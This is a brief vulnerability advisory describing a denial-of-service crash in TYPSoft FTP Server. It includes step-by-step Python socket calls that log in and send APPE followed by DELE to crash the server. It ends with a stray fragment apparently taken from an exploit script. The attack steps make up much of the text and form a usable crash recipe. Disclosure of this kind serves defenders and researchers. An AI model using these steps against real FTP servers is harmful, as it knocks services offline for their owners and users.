Overview:
TYPSoft FTP Server is an easy use FTP server Application. Denial of Service vulnerability exists in TYPSoft FTP Server 
when 

"APPE" and "DELE" commands are used in the same socket connection.

Details:
If you could log on the server successfully, take the following steps and the ftp server will crash which would lead to 

Denial of Service attack:

1.sock.connect((hostname, 21))
2.sock.send("user %s\r\n" %username)
3.sock.send("pass %s\r\n" %passwd)
4.sock.send("PORT 127,0,0,1,122,107\r\n")
5.sock.send("APPE "+ test_string +"\r\n")
6.sock.send("DELE "+ test_string +"\r\n")
7.sock.close()


Severity:
High

        print "[+] "+ r    
         
        sock.close()
